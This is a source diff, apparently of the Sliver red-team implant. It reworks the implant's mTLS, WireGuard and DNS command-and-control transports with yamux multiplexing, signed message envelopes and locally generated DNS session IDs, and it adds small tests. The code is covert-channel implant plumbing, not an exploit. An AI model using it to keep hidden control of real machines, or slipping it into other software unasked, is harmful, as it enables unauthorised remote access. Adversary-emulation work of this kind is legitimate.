if muxSession == nil {
return errors.New("[mtls] send called with nil yamux session")
}
stream, err := muxSession.Open()
if err != nil {
return err
}
if isNilInterface(stream) {
return errors.New("[mtls] open returned nil stream")
}
defer stream.Close()
return mtls.WriteEnvelope(stream, envelope)
},
Close: func() error {
if muxSession != nil {
_ = muxSession.Close()
muxSession = nil
}
if conn != nil {
err = conn.Close()
if err != nil {
@@ -242,6 +294,7 @@ func wgBeacon(uri *url.URL) *Beacon {
var conn net.Conn
var dev *device.Device
var muxSession *yamux.Session
beacon := &Beacon{
ActiveC2: uri.String(),
Init: func() error {
@@ -260,25 +313,48 @@ func wgBeacon(uri *url.URL) *Beacon {
if err != nil {
return err
}
if _, err := conn.Write([]byte(wireguard.YamuxPreface)); err != nil {
_ = conn.Close()
_ = dev.Down()
return err
}
muxSession, err = yamux.Client(conn, nil)
if err != nil {
_ = conn.Close()
_ = dev.Down()
return err
}
return nil
},
Recv: func() (*pb.Envelope, error) {
return wireguard.ReadEnvelope(conn)
stream, err := muxSession.Accept()
if err != nil {
return nil, err
}
defer stream.Close()
return wireguard.ReadEnvelope(stream)
},
Send: func(envelope *pb.Envelope) error {
return wireguard.WriteEnvelope(conn, envelope)
stream, err := muxSession.Open()
if err != nil {
return err
}
defer stream.Close()
return wireguard.WriteEnvelope(stream, envelope)
},
Close: func() error {
err = conn.Close()
if err != nil {
return err
if muxSession != nil {
_ = muxSession.Close()
muxSession = nil
}
err = dev.Down()
if err != nil {
return err
if conn != nil {
_ = conn.Close()
conn = nil
}
if dev != nil {
_ = dev.Down()
dev = nil
}
conn = nil
dev = nil
return nil
},
Cleanup: func() error {
@@ -46,6 +46,7 @@ import (
"encoding/binary"
"errors"
"hash/crc32"
"net"
"net/url"
"strconv"
"strings"
@@ -278,24 +279,23 @@ func (s *SliverDNSClient) SessionInit() error {
}
s.resolvers = []DNSResolver{}
for _, server := range s.resolvConf.Servers {
address, port := splitResolverAddress(server, s.resolvConf.Port)
s.resolvers = append(s.resolvers,
NewGenericResolver(server, s.resolvConf.Port, s.retryWait, s.retryCount, s.queryTimeout, s.parent),
NewGenericResolver(address, port, s.retryWait, s.retryCount, s.queryTimeout, s.parent),
)
}
// {{if .Config.Debug}}
log.Printf("[dns] found resolvers: %v", s.resolvConf.Servers)
// {{end}}
err = s.getDNSSessionID() // Get a 'dns session id'
if err != nil {
return err
}
s.fingerprintResolvers() // Fingerprint the resolvers
if len(s.resolvers) < 1 {
// {{if .Config.Debug}}
log.Printf("[dns] no working resolvers!")
// {{end}}
return errNoResolvers
// Generate a random session ID locally. The server will only allocate state
// after a successful INIT, which avoids an unauthenticated session bootstrap.
if s.dnsSessionID == 0 {
sid, err := s.randomDNSSessionID()
if err != nil {
return err
}
s.dnsSessionID = sid
}
// Key agreement with server
@@ -308,39 +308,40 @@ func (s *SliverDNSClient) SessionInit() error {
// {{end}}
return err
}
resolver, _ := s.randomResolver()
initMsg := &dnspb.DNSMessage{
ID: s.nextMsgID(),
Type: dnspb.DNSMessageType_INIT,
Size: uint32(len(initData)),
}
respData, err := s.sendInit(resolver, s.base32, initMsg, initData)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[dns] init msg send failure %v", err)
// {{end}}
return err
}
if len(respData) < 1 {
// {{if .Config.Debug}}
log.Printf("[dns] no data received in message")
// {{end}}
return ErrEmptyResponse
var respData []byte
var initErr error
for _, resolver := range s.resolvers {
respData, initErr = s.sendInit(resolver, s.base32, initMsg, initData)
if initErr != nil {
continue
}
if len(respData) < 1 {
initErr = ErrEmptyResponse
continue
}
data, err := s.cipherCtx.Decrypt(respData)
if err != nil {
initErr = err
continue
}
if binary.LittleEndian.Uint32(data)&sessionIDBitMask != s.dnsSessionID {
initErr = errInvalidDNSSessionID
continue
}
initErr = nil
break
}
data, err := s.cipherCtx.Decrypt(respData)
if err != nil {
if initErr != nil {
// {{if .Config.Debug}}
log.Printf("[dns] init msg decryption failure %v", err)
log.Printf("[dns] init msg send failure %v", initErr)
// {{end}}
return err
}
if binary.LittleEndian.Uint32(data)&sessionIDBitMask != s.dnsSessionID {
// {{if .Config.Debug}}
log.Printf("[dns] init msg dns session id mismatch")
// {{end}}
return err
return initErr
}
// Good to go!
@@ -348,6 +349,16 @@ func (s *SliverDNSClient) SessionInit() error {
log.Printf("[dns] key exchange was successful!")
// {{end}}
// Now that we have a server-side session, benchmark/fingerprint resolvers and
// drop ones that error.
s.fingerprintResolvers()
if len(s.resolvers) < 1 {
// {{if .Config.Debug}}
log.Printf("[dns] no working resolvers!")
// {{end}}
return errNoResolvers
}
// {{if .Config.Debug}}
log.Printf("[dns] starting worker(s) ...")
// {{end}}
@@ -778,40 +789,19 @@ func (s *SliverDNSClient) SplitBuffer(msg *dnspb.DNSMessage, encoder encoders.En
return subdata, nil
}
func (s *SliverDNSClient) getDNSSessionID() error {
otpMsg, err := s.otpMsg()
if err != nil {
return err
}
otpDomain, err := s.joinSubdataToParent(otpMsg)
if err != nil {
return err
}
// {{if .Config.Debug}}
log.Printf("[dns] Fetching dns session id via '%s' ...", otpDomain)
// {{end}}
var a []byte
for _, resolver := range s.resolvers {
a, _, err = resolver.A(otpDomain)
if err == nil {
break
func (s *SliverDNSClient) randomDNSSessionID() (uint32, error) {
// sessionID is 24-bit and must be non-zero.
randBuf := make([]byte, 4)
for {
_, err := rand.Read(randBuf)
if err != nil {
return 0, err
}
sid := binary.LittleEndian.Uint32(randBuf) & sessionIDBitMask
if sid != 0 {
return sid, nil
}
}
if err != nil {
return err // All resolvers failed
}
if len(a) < 1 {
return errInvalidDNSSessionID
}
s.dnsSessionID = binary.LittleEndian.Uint32(a) & sessionIDBitMask
if s.dnsSessionID == 0 {
return errInvalidDNSSessionID
}
// {{if .Config.Debug}}
log.Printf("[dns] dns session id: %d", s.dnsSessionID)
// {{end}}
return nil
}
func (s *SliverDNSClient) loadResolvConf() error {
@@ -847,6 +837,24 @@ func (s *SliverDNSClient) loadResolvConf() error {
return err
}
func splitResolverAddress(server string, defaultPort string) (string, string) {
server = strings.TrimSpace(server)
if server == "" {
return "", defaultPort
}
// Allow tests/operators to specify an explicit port, e.g. "127.0.0.1:5353"
// or "[::1]:5353". Raw IPv6 addresses in resolv.conf typically do not include
// a port and will fail SplitHostPort, in which case we fall back to defaultPort.
if host, port, err := net.SplitHostPort(server); err == nil {
return host, port
}
if strings.HasPrefix(server, "[") && strings.HasSuffix(server, "]") {
return strings.TrimSuffix(strings.TrimPrefix(server, "["), "]"), defaultPort
}
return server, defaultPort
}
// Joins subdata to the parent domain, you must have already done the math to
// ensure the subdata can fit in the domain
func (s *SliverDNSClient) joinSubdataToParent(subdata string) (string, error) {
@@ -893,19 +901,6 @@ func (s *SliverDNSClient) clearMsg(msgId uint32) (string, error) {
return string(msg), nil
}
func (s *SliverDNSClient) otpMsg() (string, error) {
otpMsg := &dnspb.DNSMessage{
Type: dnspb.DNSMessageType_TOTP,
ID: uint32(0), // Take advantage of the variable length encoding
}
data, err := proto.Marshal(otpMsg)
if err != nil {
return "", err
}
msg, _ := s.base32.Encode(data)
return string(msg), nil
}
// fingerprintResolver - Fingerprints resolve to validate base32 transport.
func (s *SliverDNSClient) fingerprintResolvers() {
wg := &sync.WaitGroup{}
@@ -230,28 +230,17 @@ func clientSplitBuffer(t *testing.T, client *SliverDNSClient, encoder encoders.E
}
}
func TestOTPMsgRoundTrip(t *testing.T) {
func TestRandomDNSSessionID(t *testing.T) {
client := NewDNSClient(parent1, opts)
encoded, err := client.otpMsg()
sid, err := client.randomDNSSessionID()
if err != nil {
t.Fatalf("Unexpected otpMsg error: %s", err)
t.Fatalf("Unexpected randomDNSSessionID error: %s", err)
}
if !isBase32String(encoded) {
t.Fatalf("otpMsg contains non-base32 characters: %s", encoded)
if sid == 0 {
t.Fatal("expected non-zero dns session id")
}
raw, err := encoders.Base32{}.Decode([]byte(encoded))
if err != nil {
t.Fatalf("Unexpected otpMsg decode error: %s", err)
}
msg := &dnspb.DNSMessage{}
if err := proto.Unmarshal(raw, msg); err != nil {
t.Fatalf("Unexpected otpMsg unmarshal error: %s", err)
}
if msg.Type != dnspb.DNSMessageType_TOTP {
t.Fatalf("Unexpected otpMsg type: %v", msg.Type)
}
if msg.ID != 0 {
t.Fatalf("Unexpected otpMsg id: %d", msg.ID)
if (sid & ^uint32(sessionIDBitMask)) != 0 {
t.Fatalf("expected 24-bit session id, got: 0x%08x", sid)
}
}
@@ -22,6 +22,7 @@ import (
"crypto/rand"
"encoding/binary"
"errors"
"net"
"strings"
"time"
@@ -44,7 +45,7 @@ func NewGenericResolver(address string, port string, retryWait time.Duration, re
retries = 1
}
return &GenericResolver{
address: address + ":" + port,
address: net.JoinHostPort(address, port),
retries: retries,
retryWait: retryWait,
resolver: &dns.Client{
+117 -15
View File
@@ -21,13 +21,16 @@ package mtls
// {{if .Config.IncludeMTLS}}
import (
"bytes"
"crypto/ed25519"
"crypto/sha256"
"crypto/tls"
"crypto/x509"
"encoding/binary"
"errors"
"fmt"
"io"
"reflect"
"sync"
"time"
// {{if .Config.Debug}}
@@ -35,9 +38,11 @@ import (
// {{end}}
"os"
"strings"
"github.com/bishopfox/sliver/implant/sliver/cryptography"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
"golang.org/x/crypto/blake2b"
"google.golang.org/protobuf/proto"
)
@@ -45,6 +50,9 @@ var (
// PingInterval - Amount of time between in-band "pings"
PingInterval = 2 * time.Minute
// YamuxPreface - Magic bytes sent before yamux frames
YamuxPreface = "MUX/1"
// caCertPEM - PEM encoded CA certificate
caCertPEM = `{{.Build.MtlsCACert}}`
@@ -52,36 +60,113 @@ var (
certPEM = `{{.Build.MtlsCert}}`
)
const mtlsEnvelopeSigningSeedPrefix = "env-signing-v1:"
var (
envelopeSigningOnce sync.Once
envelopeSigningErr error
envelopeSigningKeyID uint64
envelopeSigningPriv ed25519.PrivateKey
)
func mtlsEnvelopeSigningKey() (ed25519.PrivateKey, uint64, error) {
envelopeSigningOnce.Do(func() {
peerKeyPair := cryptography.GetPeerAgeKeyPair()
// NOTE: This file is rendered with Go's text/template; avoid literal template
// delimiters in string checks or the template parser will treat it as an action.
if peerKeyPair == nil || peerKeyPair.Private == "" || strings.Contains(peerKeyPair.Private, ".Build.PeerPrivateKey") {
envelopeSigningErr = errors.New("[mtls] missing peer private key")
return
}
seed := sha256.Sum256([]byte(mtlsEnvelopeSigningSeedPrefix + peerKeyPair.Private))
envelopeSigningPriv = ed25519.NewKeyFromSeed(seed[:])
pub := envelopeSigningPriv.Public().(ed25519.PublicKey)
digest := blake2b.Sum256(pub)
envelopeSigningKeyID = binary.LittleEndian.Uint64(digest[:8])
})
return envelopeSigningPriv, envelopeSigningKeyID, envelopeSigningErr
}
func isNilInterface(v any) bool {
if v == nil {
return true
}
rv := reflect.ValueOf(v)
switch rv.Kind() {
case reflect.Chan, reflect.Func, reflect.Map, reflect.Pointer, reflect.Interface, reflect.Slice:
return rv.IsNil()
default:
return false
}
}
func writeAll(w io.Writer, p []byte) error {
for len(p) > 0 {
n, err := w.Write(p)
if err != nil {
return err
}
if n <= 0 {
return io.ErrShortWrite
}
p = p[n:]
}
return nil
}
// WriteEnvelope - Writes a message to the TLS socket using length prefix framing
// which is a fancy way of saying we write the length of the message then the message
// e.g. [uint32 length|message] so the receiver can delimit messages properly
func WriteEnvelope(connection *tls.Conn, envelope *pb.Envelope) error {
func WriteEnvelope(w io.Writer, envelope *pb.Envelope) error {
if envelope == nil {
return errors.New("[mtls] nil envelope")
}
if isNilInterface(w) {
return errors.New("[mtls] nil writer")
}
data, err := proto.Marshal(envelope)
if err != nil {
// {{if .Config.Debug}}
log.Print("Envelope marshaling error: ", err)
// {{end}}
return err
return fmt.Errorf("[mtls] marshal envelope: %w", err)
}
dataLengthBuf := new(bytes.Buffer)
binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data)))
if _, werr := connection.Write(dataLengthBuf.Bytes()); werr != nil {
signingKey, keyID, err := mtlsEnvelopeSigningKey()
if err != nil {
return fmt.Errorf("[mtls] envelope signing key: %w", err)
}
rawSigBuf := make([]byte, cryptography.RawSigSize)
binary.LittleEndian.PutUint16(rawSigBuf[:2], cryptography.EdDSA)
binary.LittleEndian.PutUint64(rawSigBuf[2:10], keyID)
copy(rawSigBuf[10:], ed25519.Sign(signingKey, data))
if werr := writeAll(w, rawSigBuf); werr != nil {
return fmt.Errorf("[mtls] write raw signature: %w", werr)
}
var dataLengthBuf [4]byte
binary.LittleEndian.PutUint32(dataLengthBuf[:], uint32(len(data)))
if werr := writeAll(w, dataLengthBuf[:]); werr != nil {
// {{if .Config.Debug}}
log.Print("Error writing data length: ", werr)
// {{end}}
return werr
return fmt.Errorf("[mtls] write data length: %w", werr)
}
if _, werr := connection.Write(data); werr != nil {
if werr := writeAll(w, data); werr != nil {
// {{if .Config.Debug}}
log.Print("Error writing data: ", werr)
// {{end}}
return werr
return fmt.Errorf("[mtls] write data: %w", werr)
}
return nil
}
// WritePing - Send a "ping" message to the server
func WritePing(connection *tls.Conn) error {
func WritePing(w io.Writer) error {
// {{if .Config.Debug}}
log.Print("Socket ping")
// {{end}}
@@ -92,16 +177,26 @@ func WritePing(connection *tls.Conn) error {
Type: pb.MsgPing,
Data: pingBuf,
}
return WriteEnvelope(connection, &envelope)
return WriteEnvelope(w, &envelope)
}
// ReadEnvelope - Reads a message from the TLS connection using length prefix framing
func ReadEnvelope(connection *tls.Conn) (*pb.Envelope, error) {
func ReadEnvelope(r io.Reader) (*pb.Envelope, error) {
rawSigBuf := make([]byte, cryptography.RawSigSize)
dataLengthBuf := make([]byte, 4) // Size of uint32
if len(dataLengthBuf) == 0 || connection == nil {
if len(rawSigBuf) == 0 || len(dataLengthBuf) == 0 || r == nil {
panic("[[GenerateCanary]]")
}
n, err := io.ReadFull(connection, dataLengthBuf)
n, err := io.ReadFull(r, rawSigBuf)
if err != nil || n != len(rawSigBuf) {
// {{if .Config.Debug}}
log.Printf("Socket error (read raw signature): %v\n", err)
// {{end}}
return nil, err
}
n, err = io.ReadFull(r, dataLengthBuf)
if err != nil || n != 4 {
// {{if .Config.Debug}}
log.Printf("Socket error (read msg-length): %v\n", err)
@@ -119,7 +214,7 @@ func ReadEnvelope(connection *tls.Conn) (*pb.Envelope, error) {
dataBuf := make([]byte, dataLength)
n, err = io.ReadFull(connection, dataBuf)
n, err = io.ReadFull(r, dataBuf)
if err != nil || n != dataLength {
// {{if .Config.Debug}}
@@ -128,6 +223,13 @@ func ReadEnvelope(connection *tls.Conn) (*pb.Envelope, error) {
return nil, err
}
if !cryptography.MinisignVerifyRaw(dataBuf, rawSigBuf) {
// {{if .Config.Debug}}
log.Printf("Invalid signature on mtls envelope")
// {{end}}
return nil, errors.New("[mtls] invalid signature")
}
// Unmarshal the protobuf envelope
envelope := &pb.Envelope{}
err = proto.Unmarshal(dataBuf, envelope)
@@ -0,0 +1,47 @@
package mtls
import (
"bytes"
"crypto/tls"
"testing"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
)
func TestWriteEnvelope_NilEnvelope(t *testing.T) {
t.Parallel()
var buf bytes.Buffer
if err := WriteEnvelope(&buf, nil); err == nil {
t.Fatalf("expected error for nil envelope")
}
}
func TestWriteEnvelope_NilWriter(t *testing.T) {
t.Parallel()
defer func() {
if r := recover(); r != nil {
t.Fatalf("WriteEnvelope panicked: %v", r)
}
}()
if err := WriteEnvelope(nil, &pb.Envelope{}); err == nil {
t.Fatalf("expected error for nil writer")
}
}
func TestWriteEnvelope_NilTLSConnWriter(t *testing.T) {
t.Parallel()
defer func() {
if r := recover(); r != nil {
t.Fatalf("WriteEnvelope panicked: %v", r)
}
}()
var conn *tls.Conn
if err := WriteEnvelope(conn, &pb.Envelope{}); err == nil {
t.Fatalf("expected error for nil *tls.Conn writer")
}
}
+17
View File
@@ -0,0 +1,17 @@
package transports
import "reflect"
// isNilInterface returns true if v is nil, or if v is an interface value holding a nil pointer.
func isNilInterface(v any) bool {
if v == nil {
return true
}
rv := reflect.ValueOf(v)
switch rv.Kind() {
case reflect.Chan, reflect.Func, reflect.Map, reflect.Pointer, reflect.Interface, reflect.Slice:
return rv.IsNil()
default:
return false
}
}
+243 -43
View File
@@ -25,7 +25,9 @@ import (
// {{end}}
// {{if or .Config.IncludeMTLS .Config.IncludeWG}}
"errors"
"strconv"
// {{end}}
// {{if .Config.Debug}}
@@ -39,9 +41,12 @@ import (
// {{end}}
// {{if .Config.IncludeWG}}
"errors"
// {{if or .Config.IncludeMTLS .Config.IncludeWG}}
"github.com/hashicorp/yamux"
// {{end}}
// {{if .Config.IncludeWG}}
"github.com/bishopfox/sliver/implant/sliver/transports/wireguard"
"golang.zx2c4.com/wireguard/device"
@@ -62,18 +67,19 @@ import (
// {{end}}
// {{if not .Config.IncludeNamePipe}}
"io"
"net/url"
"sync"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
// {{end}}
"io"
"time"
)
var (
_ time.Duration // Force import
_ io.ReadCloser // Force import
)
type Start func() error
@@ -198,7 +204,9 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
send := make(chan *pb.Envelope)
recv := make(chan *pb.Envelope)
ctrl := make(chan struct{})
done := make(chan struct{})
var conn *tls.Conn
var muxSession *yamux.Session
connection := &Connection{
Send: send,
@@ -215,7 +223,13 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
// {{if .Config.Debug}}
log.Printf("[mtls] lost connection, cleanup...")
// {{end}}
conn.Close()
close(done)
if muxSession != nil {
muxSession.Close()
}
if conn != nil {
conn.Close()
}
close(recv)
},
}
@@ -243,45 +257,145 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
if err != nil {
return err
}
if conn == nil {
errMsg := ""
// {{if .Config.Debug}}
errMsg = "mtls connection returned nil conn"
// {{end}}
return errors.New(errMsg)
}
if _, err := conn.Write([]byte(mtls.YamuxPreface)); err != nil {
conn.Close()
return err
}
muxSession, err = yamux.Client(conn, nil)
if err != nil {
conn.Close()
return err
}
if muxSession == nil {
conn.Close()
errMsg := ""
// {{if .Config.Debug}}
errMsg = "[mtls] failed to create yamux session (nil)"
// {{end}}
return errors.New(errMsg)
}
connection.IsOpen = true
go func() {
defer connection.Cleanup()
sendSem := make(chan struct{}, 64)
ticker := time.NewTicker(mtls.PingInterval)
defer ticker.Stop()
sendEnvelope := func(envelope *pb.Envelope) {
if envelope == nil {
return
}
select {
case sendSem <- struct{}{}:
case <-done:
return
}
go func(envelope *pb.Envelope) {
defer func() {
<-sendSem
}()
stream, err := muxSession.Open()
if err != nil {
connection.Cleanup()
return
}
if isNilInterface(stream) {
connection.Cleanup()
return
}
defer stream.Close()
if err := mtls.WriteEnvelope(stream, envelope); err != nil {
connection.Cleanup()
return
}
}(envelope)
}
sendPing := func() {
select {
case sendSem <- struct{}{}:
case <-done:
return
}
go func() {
defer func() {
<-sendSem
}()
stream, err := muxSession.Open()
if err != nil {
connection.Cleanup()
return
}
if isNilInterface(stream) {
connection.Cleanup()
return
}
defer stream.Close()
if err := mtls.WritePing(stream); err != nil {
connection.Cleanup()
return
}
}()
}
for {
select {
case envelope, ok := <-send:
if !ok {
return
}
err := mtls.WriteEnvelope(conn, envelope)
if err != nil {
return
}
case <-time.After(mtls.PingInterval):
err = mtls.WritePing(conn)
if err != nil {
return
}
sendEnvelope(envelope)
case <-ticker.C:
sendPing()
case <-done:
return
}
}
}()
go func() {
defer connection.Cleanup()
streamSem := make(chan struct{}, 128)
for {
envelope, err := mtls.ReadEnvelope(conn)
if err == io.EOF {
// {{if .Config.Debug}}
log.Printf("[mtls] eof")
// {{end}}
stream, err := muxSession.Accept()
if err != nil {
return
}
if err != io.EOF && err != nil {
break
if isNilInterface(stream) {
return
}
if envelope != nil {
recv <- envelope
select {
case streamSem <- struct{}{}:
case <-done:
stream.Close()
return
}
go func() {
defer func() {
<-streamSem
}()
defer stream.Close()
envelope, err := mtls.ReadEnvelope(stream)
if err != nil {
return
}
if envelope != nil {
select {
case recv <- envelope:
case <-done:
}
}
}()
}
}()
@@ -299,9 +413,11 @@ func wgConnect(uri *url.URL) (*Connection, error) {
send := make(chan *pb.Envelope)
recv := make(chan *pb.Envelope)
ctrl := make(chan struct{})
done := make(chan struct{})
var conn net.Conn
var dev *device.Device
var muxSession *yamux.Session
connection := &Connection{
Send: send,
Recv: recv,
@@ -315,8 +431,16 @@ func wgConnect(uri *url.URL) (*Connection, error) {
// {{if .Config.Debug}}
log.Printf("[wg] lost connection, cleanup...")
// {{end}}
conn.Close()
dev.Down()
close(done)
if muxSession != nil {
muxSession.Close()
}
if conn != nil {
conn.Close()
}
if dev != nil {
dev.Down()
}
close(recv)
},
}
@@ -355,45 +479,121 @@ func wgConnect(uri *url.URL) (*Connection, error) {
if err != nil {
return err
}
if _, err := conn.Write([]byte(wireguard.YamuxPreface)); err != nil {
conn.Close()
dev.Down()
return err
}
muxSession, err = yamux.Client(conn, nil)
if err != nil {
conn.Close()
dev.Down()
return err
}
connection.IsOpen = true
go func() {
defer connection.Cleanup()
sendSem := make(chan struct{}, 64)
ticker := time.NewTicker(wireguard.PingInterval)
defer ticker.Stop()
sendEnvelope := func(envelope *pb.Envelope) {
if envelope == nil {
return
}
select {
case sendSem <- struct{}{}:
case <-done:
return
}
go func(envelope *pb.Envelope) {
defer func() {
<-sendSem
}()
stream, err := muxSession.Open()
if err != nil {
connection.Cleanup()
return
}
defer stream.Close()
if err := wireguard.WriteEnvelope(stream, envelope); err != nil {
connection.Cleanup()
return
}
}(envelope)
}
sendPing := func() {
select {
case sendSem <- struct{}{}:
case <-done:
return
}
go func() {
defer func() {
<-sendSem
}()
stream, err := muxSession.Open()
if err != nil {
connection.Cleanup()
return
}
defer stream.Close()
if err := wireguard.WritePing(stream); err != nil {
connection.Cleanup()
return
}
}()
}
for {
select {
case envelope, ok := <-send:
if !ok {
return
}
err := wireguard.WriteEnvelope(conn, envelope)
if err != nil {
return
}
case <-time.After(wireguard.PingInterval):
err = wireguard.WritePing(conn)
if err != nil {
return
}
sendEnvelope(envelope)
case <-ticker.C:
sendPing()
case <-done:
return
}
}
}()
go func() {
defer connection.Cleanup()
streamSem := make(chan struct{}, 128)
for {
envelope, err := wireguard.ReadEnvelope(conn)
if err == io.EOF {
// {{if .Config.Debug}}
log.Printf("[wireguard] eof")
// {{end}}
stream, err := muxSession.Accept()
if err != nil {
return
}
if err != io.EOF && err != nil {
break
}
if envelope != nil {
recv <- envelope
select {
case streamSem <- struct{}{}:
case <-done:
stream.Close()
return
}
go func() {
defer func() {
<-streamSem
}()
defer stream.Close()
envelope, err := wireguard.ReadEnvelope(stream)
if err != nil {
return
}
if envelope != nil {
select {
case recv <- envelope:
case <-done:
}
}
}()
}
}()
@@ -25,6 +25,8 @@ package wireguard
import (
"bufio"
"bytes"
"crypto/ed25519"
"crypto/sha256"
"encoding/binary"
"errors"
"fmt"
@@ -33,15 +35,18 @@ import (
"net/netip"
"strconv"
"strings"
"sync"
"time"
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/cryptography"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/implant/sliver/netstack"
"golang.org/x/crypto/blake2b"
"golang.zx2c4.com/wireguard/conn"
"golang.zx2c4.com/wireguard/device"
"golang.zx2c4.com/wireguard/tun"
@@ -49,6 +54,9 @@ import (
)
var (
// YamuxPreface - Magic bytes sent before yamux frames
YamuxPreface = "MUX/1"
serverTunIP = "100.64.0.1" // Don't let user configure this for now
tunnelNet *netstack.Net
tunAddress string
@@ -66,6 +74,36 @@ var (
failedConn = 0
)
const wgEnvelopeSigningSeedPrefix = "env-signing-v1:"
var (
envelopeSigningOnce sync.Once
envelopeSigningErr error
envelopeSigningKeyID uint64
envelopeSigningPriv ed25519.PrivateKey
)
func wgEnvelopeSigningKey() (ed25519.PrivateKey, uint64, error) {
envelopeSigningOnce.Do(func() {
peerKeyPair := cryptography.GetPeerAgeKeyPair()
// NOTE: This file is rendered with Go's text/template; avoid literal template
// delimiters in string checks or the template parser will treat it as an action.
if peerKeyPair == nil || peerKeyPair.Private == "" || strings.Contains(peerKeyPair.Private, ".Build.PeerPrivateKey") {
envelopeSigningErr = errors.New("[wireguard] missing peer private key")
return
}
seed := sha256.Sum256([]byte(wgEnvelopeSigningSeedPrefix + peerKeyPair.Private))
envelopeSigningPriv = ed25519.NewKeyFromSeed(seed[:])
pub := envelopeSigningPriv.Public().(ed25519.PublicKey)
digest := blake2b.Sum256(pub)
envelopeSigningKeyID = binary.LittleEndian.Uint64(digest[:8])
})
return envelopeSigningPriv, envelopeSigningKeyID, envelopeSigningErr
}
// GetTNet - Get the netstack Net object
func GetTNet() *netstack.Net {
return tunnelNet
@@ -87,6 +125,22 @@ func WriteEnvelope(connection net.Conn, envelope *pb.Envelope) error {
// {{end}}
return err
}
signingKey, keyID, err := wgEnvelopeSigningKey()
if err != nil {
return err
}
rawSigBuf := make([]byte, cryptography.RawSigSize)
binary.LittleEndian.PutUint16(rawSigBuf[:2], cryptography.EdDSA)
binary.LittleEndian.PutUint64(rawSigBuf[2:10], keyID)
copy(rawSigBuf[10:], ed25519.Sign(signingKey, data))
if _, werr := connection.Write(rawSigBuf); werr != nil {
// {{if .Config.Debug}}
log.Print("Socket error (write raw signature): ", werr)
// {{end}}
return werr
}
dataLengthBuf := new(bytes.Buffer)
binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data)))
if _, werr := connection.Write(dataLengthBuf.Bytes()); werr != nil {
@@ -121,11 +175,21 @@ func WritePing(connection net.Conn) error {
// ReadEnvelope - Reads a message from the wireguard connection using length prefix framing
func ReadEnvelope(connection net.Conn) (*pb.Envelope, error) {
rawSigBuf := make([]byte, cryptography.RawSigSize)
dataLengthBuf := make([]byte, 4) // Size of uint32
if len(dataLengthBuf) == 0 || connection == nil {
if len(rawSigBuf) == 0 || len(dataLengthBuf) == 0 || connection == nil {
panic("[[GenerateCanary]]")
}
n, err := io.ReadFull(connection, dataLengthBuf)
n, err := io.ReadFull(connection, rawSigBuf)
if err != nil || n != len(rawSigBuf) {
// {{if .Config.Debug}}
log.Printf("Socket error (read raw signature): %v\n", err)
// {{end}}
return nil, err
}
n, err = io.ReadFull(connection, dataLengthBuf)
if err != nil || n != 4 {
// {{if .Config.Debug}}
log.Printf("Socket error (read msg-length): %v\n", err)
@@ -152,6 +216,13 @@ func ReadEnvelope(connection net.Conn) (*pb.Envelope, error) {
return nil, err
}
if !cryptography.MinisignVerifyRaw(dataBuf, rawSigBuf) {
// {{if .Config.Debug}}
log.Printf("Invalid signature on wireguard envelope")
// {{end}}
return nil, errors.New("[wireguard] invalid signature")
}
// Unmarshal the protobuf envelope
envelope := &pb.Envelope{}
err = proto.Unmarshal(dataBuf, envelope)
@@ -165,6 +236,10 @@ func ReadEnvelope(connection net.Conn) (*pb.Envelope, error) {
return envelope, nil
}
func formatWGEndpoint(address string, port uint16) string {
return net.JoinHostPort(address, strconv.Itoa(int(port)))
}
// getSessKeys - Connect to the wireguard server and retrieve session specific keys and IP
func getSessKeys(address string, port uint16) error {
_, dev, tNet, err := bringUpWGInterface(address, port, wgImplantPrivKey, wgServerPubKey, wgPeerTunIP)
@@ -172,7 +247,9 @@ func getSessKeys(address string, port uint16) error {
return err
}
dev.Up()
if err := dev.Up(); err != nil {
return err
}
// {{if .Config.Debug}}
log.Printf("Initial wg connection. Attempting to connect to wg key exchange listener")
@@ -183,6 +260,7 @@ func getSessKeys(address string, port uint16) error {
// {{if .Config.Debug}}
log.Printf("Unable to connect to wg key exchange listener: %v", err)
// {{end}}
_ = dev.Down()
return err
}
@@ -207,7 +285,10 @@ func getSessKeys(address string, port uint16) error {
// WGConnect - Get a wg connection or die trying
func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
if wgSessPrivKey == "" || failedConn > 2 {
getSessKeys(address, port)
if err := getSessKeys(address, port); err != nil {
failedConn++
return nil, nil, err
}
}
// Bring up actual wireguard connection using retrieved keys and IP
@@ -261,7 +342,7 @@ func bringUpWGInterface(address string, port uint16, implantPrivKey string, serv
wgConf := bytes.NewBuffer(nil)
fmt.Fprintf(wgConf, "private_key=%s\n", implantPrivKey)
fmt.Fprintf(wgConf, "public_key=%s\n", serverPubKey)
fmt.Fprintf(wgConf, "endpoint=%s:%d\n", address, port)
fmt.Fprintf(wgConf, "endpoint=%s\n", formatWGEndpoint(address, port))
fmt.Fprintf(wgConf, "allowed_ip=%s/0\n", "0.0.0.0")
// {{if .Config.Debug}}
@@ -0,0 +1,26 @@
//go:build windows || darwin || linux
package wireguard
import "testing"
func TestFormatWGEndpoint_IPv6(t *testing.T) {
got := formatWGEndpoint("::1", 8989)
if got != "[::1]:8989" {
t.Fatalf("unexpected endpoint: got=%q want=%q", got, "[::1]:8989")
}
}
func TestFormatWGEndpoint_IPv4(t *testing.T) {
got := formatWGEndpoint("127.0.0.1", 53)
if got != "127.0.0.1:53" {
t.Fatalf("unexpected endpoint: got=%q want=%q", got, "127.0.0.1:53")
}
}
func TestFormatWGEndpoint_Hostname(t *testing.T) {
got := formatWGEndpoint("example.com", 1337)
if got != "example.com:1337" {
t.Fatalf("unexpected endpoint: got=%q want=%q", got, "example.com:1337")
}
}
+124 -1
View File
@@ -18,6 +18,129 @@ package version
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
func GetVersion() string {
import (
"encoding/xml"
"errors"
"fmt"
//{{if .Config.Debug}}
"log"
//{{end}}
"os"
"strings"
"golang.org/x/sys/unix"
)
type plist struct {
XMLName xml.Name `xml:"plist"`
Dict dict `xml:"dict"`
}
type dict struct {
Key []string `xml:"key"`
String []string `xml:"string"`
}
